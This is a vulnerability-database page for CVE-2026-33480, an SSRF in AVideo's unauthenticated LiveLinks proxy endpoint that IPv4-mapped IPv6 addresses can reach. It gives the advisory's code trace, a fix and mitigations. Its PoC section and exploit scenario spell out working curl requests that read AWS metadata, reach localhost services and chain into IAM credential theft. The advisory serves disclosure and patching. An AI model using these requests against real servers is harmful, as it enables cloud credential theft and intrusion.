Skip to main content

PHP CVE-2026-33480

HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-03-20 https://github.com/WWBN/AVideo GHSA-p3gr-g84w-g8hh
8.6
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send request to proxy.php with IPv4-mapped IPv6 URL
  2. Exploit
    Bypass isSSRFSafeURL validation checks
  3. Execution
    Access internal metadata services or localhost
  4. Impact
    Retrieve sensitive credentials and configuration data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Unauthenticated remote attacker accessing the unprotected plugin/LiveLinks/proxy.php endpoint in AVideo. No special configuration or victim interaction required. Exploitable against default installations where the LiveLinks plugin is enabled.

Impact

This vulnerability presents critical real-world risk despite limited exploitation signals. The CVSS 3.1 score of 8.6 reflects network-accessible attack vector (AV:N), low complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), scope change (S:C), and high confidentiality impact (C:H). The attack is highly automatable and requires zero authentication, making it trivial to exploit at scale. The technical impact is severe—full credential theft from cloud metadata services, internal network scanning, and localhost service access. A complete proof-of-concept is publicly available with step-by-step AWS IAM credential extraction. The vulnerability is documented in GitHub security advisories (GHSA-p3gr-g84w-g8hh), indicating vendor acknowledgment. For cloud-hosted AVideo installations, particularly on AWS, GCP, or Azure, this represents an immediate priority requiring emergency patching. The explicit disabling of authentication in the vulnerable endpoint eliminates the primary security control, and the IPv4-mapped IPv6 bypass technique is well-known in SSRF research, making this a likely target for automated scanning.

Exploit ScenarioDerived

An unauthenticated attacker discovers an AVideo installation hosted on AWS EC2 and sends a crafted request to https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/ to retrieve the IAM role name, then fetches the temporary credentials containing AccessKeyId, SecretAccessKey, and SessionToken. Using these credentials, the attacker gains full permissions associated with the EC2 instance role, potentially accessing S3 buckets, RDS databases, or other AWS resources. The attack requires no authentication and can be automated to scan for vulnerable AVideo installations across the internet.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 20, 2026

AVideo, an open-source video platform, contains a server-side request forgery (SSRF) vulnerability that allows unauthenticated attackers to bypass URL validation using IPv4-mapped IPv6 addresses (::ffff:x.x.x.x format). The vulnerable endpoint plugin/LiveLinks/proxy.php can be exploited to access cloud metadata services (AWS, GCP, Azure), internal networks, and localhost services without authentication. A detailed proof-of-concept is publicly available demonstrating credential theft from AWS instance metadata, making this a critical risk for cloud-hosted installations.

RemediationAI

Apply patches available through the GitHub security advisory at https://github.com/WWBN/AVideo/security/advisories/GHSA-p3gr-g84w-g8hh. The recommended fix replaces the manual blocklist approach with PHP's built-in filter_var() using FILTER_FLAG_NO_PRIV_RANGE and FILTER_FLAG_NO_RES_RANGE flags, which correctly handle IPv4-mapped IPv6 addresses along with all private and reserved IP ranges. Until patching is complete, implement immediate mitigations: disable the LiveLinks plugin if not required, implement web application firewall (WAF) rules to block requests to plugin/LiveLinks/proxy.php, restrict outbound network connections from the AVideo server to prevent metadata service access (block 169.254.169.254 and similar ranges at the network level), and for cloud deployments, upgrade to IMDSv2 (AWS) or equivalent metadata service protections that require additional headers. Monitor access logs for requests containing IPv6 bracket notation with ::ffff: prefixes as indicators of exploitation attempts.

Affected Packages

composer wwbn/avideo no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability affects the AVideo platform (pkg:composer/wwbn_avideo) and stems from CWE-918 (Server-Side Request Forgery). The isSSRFSafeURL() function in objects/functions.php implements SSRF protection through separate validation paths for IPv4 (using regex patterns for dotted-decimal notation) and IPv6 (checking for ::1, fe80::/10, and fc00::/7). However, this blocklist approach fails to validate IPv4-mapped IPv6 addresses (::ffff:0:0/96 range). When parse_url() extracts the host and filter_var() recognizes it as valid IPv6, the address bypasses both IPv4 regex checks (which require dotted-decimal format) and IPv6 checks (which don't include the ::ffff: prefix). The proxy.php endpoint explicitly disables authentication mechanisms ($doNotConnectDatabaseIncludeConfig and $doNotStartSessionbaseIncludeConfig), allowing anonymous exploitation. The endpoint makes two requests using get_headers() and fakeBrowser() (curl), with responses echoed back to the attacker.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.6 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

DescriptionGitHub Advisory

Summary

The isSSRFSafeURL() function in AVideo can be bypassed using IPv4-mapped IPv6 addresses (::ffff:x.x.x.x). The unauthenticated plugin/LiveLinks/proxy.php endpoint uses this function to validate URLs before fetching them with curl, but the IPv4-mapped IPv6 prefix passes all checks, allowing an attacker to access cloud metadata services, internal networks, and localhost services.

Details

The isSSRFSafeURL() function in objects/functions.php (lines 4021-4169) implements SSRF protection with two separate check paths:

  1. IPv4 checks (lines 4101-4134): Regex patterns matching dotted-decimal notation (/^10\./, /^172\./, /^192\.168\./, /^127\./, /^169\.254\./)
  2. IPv6 checks (lines 4150-4166): Checks for ::1, fe80::/10 (link-local), and fc00::/7 (unique local)

The gap: IPv4-mapped IPv6 addresses (::ffff:0:0/96) are not checked in either path. When a URL like http://[::ffff:169.254.169.254]/ is provided:

// Line 4038: parse_url strips brackets from IPv6 host
$host = parse_url($url, PHP_URL_HOST);
// $host = "::ffff:169.254.169.254"

// Line 4079: filter_var recognizes it as valid IPv6, skips DNS resolution
if (!filter_var($host, FILTER_VALIDATE_IP)) {
    $resolvedIP = gethostbyname($host);  // SKIPPED
}
$ip = $host;  // $ip = "::ffff:169.254.169.254"

// Lines 4101-4134: IPv4 regex checks DON'T match (not dotted-decimal)
if (preg_match('/^169\.254\.\d{1,3}\.\d{1,3}$/', $ip))  // NO MATCH

// Lines 4150-4166: IPv6 checks don't cover ::ffff: prefix
if ($ip === '::1' || ...)                    // NO MATCH
if (preg_match('/^fe[89ab][0-9a-f]:/i', $ip))  // NO MATCH
if (preg_match('/^f[cd][0-9a-f]{2}:/i', $ip))  // NO MATCH

// Line 4168: returns TRUE - bypass complete
return true;

The vulnerable endpoint plugin/LiveLinks/proxy.php explicitly disables authentication:

php
// proxy.php lines 2-3
$doNotConnectDatabaseIncludeConfig = 1;
$doNotStartSessionbaseIncludeConfig = 1;

After the bypass, two requests are made to the attacker-controlled URL:

  1. get_headers() at line 40 (via stream context)
  2. fakeBrowser() at line 63 (via curl) - response content is echoed back to the attacker (lines 69-80)

PoC

Read AWS instance metadata (IAM credentials):

bash
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/'

Access localhost services:

bash
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:3306/'

Scan internal network:

bash
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:10.0.0.1]/'

Steal AWS IAM role credentials (full chain):

bash
# Step 1: Get IAM role name
ROLE=$(curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/')
# Step 2: Get temporary credentials for the role
curl -s "https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/${ROLE}"

Impact

  • Cloud credential theft: Unauthenticated attackers can read cloud instance metadata (AWS IMDSv1, GCP, Azure) to steal IAM credentials, potentially gaining full access to cloud infrastructure.
  • Internal network access: Attackers can scan and access internal services not exposed to the internet, including databases, admin panels, and other backend services.
  • Localhost service access: Attackers can interact with services bound to localhost (e.g., Redis, Memcached, internal APIs).
  • No authentication required: The endpoint explicitly disables session handling and database connections, making this exploitable by any anonymous internet user.

Recommended Fix

Replace the manual IPv4/IPv6 blocklist approach with PHP's built-in FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE flags, which correctly handle all private/reserved ranges including IPv4-mapped IPv6 addresses:

php
// In isSSRFSafeURL(), replace lines 4099-4166 with:

// Block all private and reserved IP ranges (handles IPv4, IPv6, and IPv4-mapped IPv6)
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    _error_log("isSSRFSafeURL: blocked private/reserved IP: {$ip}");
    return false;
}

This single check replaces all the manual regex patterns and correctly handles:

  • All RFC 1918 private ranges (10/8, 172.16/12, 192.168/16)
  • Loopback (127/8, ::1)
  • Link-local (169.254/16, fe80::/10)
  • Unique local (fc00::/7)
  • IPv4-mapped IPv6 (::ffff:0:0/96) - the bypass vector in this finding
  • Other reserved ranges (0/8, 100.64/10 CGN, etc.)

Executive ViewAI

Why It Matters

AVideo installations are vulnerable to credential theft and unauthorized access to cloud infrastructure and internal systems through an unauthenticated attack requiring no user interaction. Organizations running AVideo on cloud platforms (AWS, GCP, Azure) face immediate risk of data breach, lateral movement, and potential compromise of cloud credentials and sensitive metadata.

Business Impact: Severe
Compensating Controls
  1. Disable or remove the LiveLinks plugin entirely if not critical to operations. 2) Implement Web Application Firewall (WAF) rules to block requests containing IPv6-mapped IPv4 addresses (::ffff:) and restrict access to plugin/LiveLinks/proxy.php by IP whitelist. 3) Network segmentation: restrict outbound access from AVideo servers to cloud metadata services (169.254.169.254 for AWS, metadata.google.internal for GCP) via firewall rules. 4) Disable HTTP proxy functionality in AVideo configuration if available. 5) Rotate all cloud credentials and AWS instance IAM role permissions to least-privilege. 6) Enable VPC endpoint policies to restrict metadata service access.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Partial

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Affected Products (CPE)GitHub Advisory

pkg:composer/wwbn_avideo

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy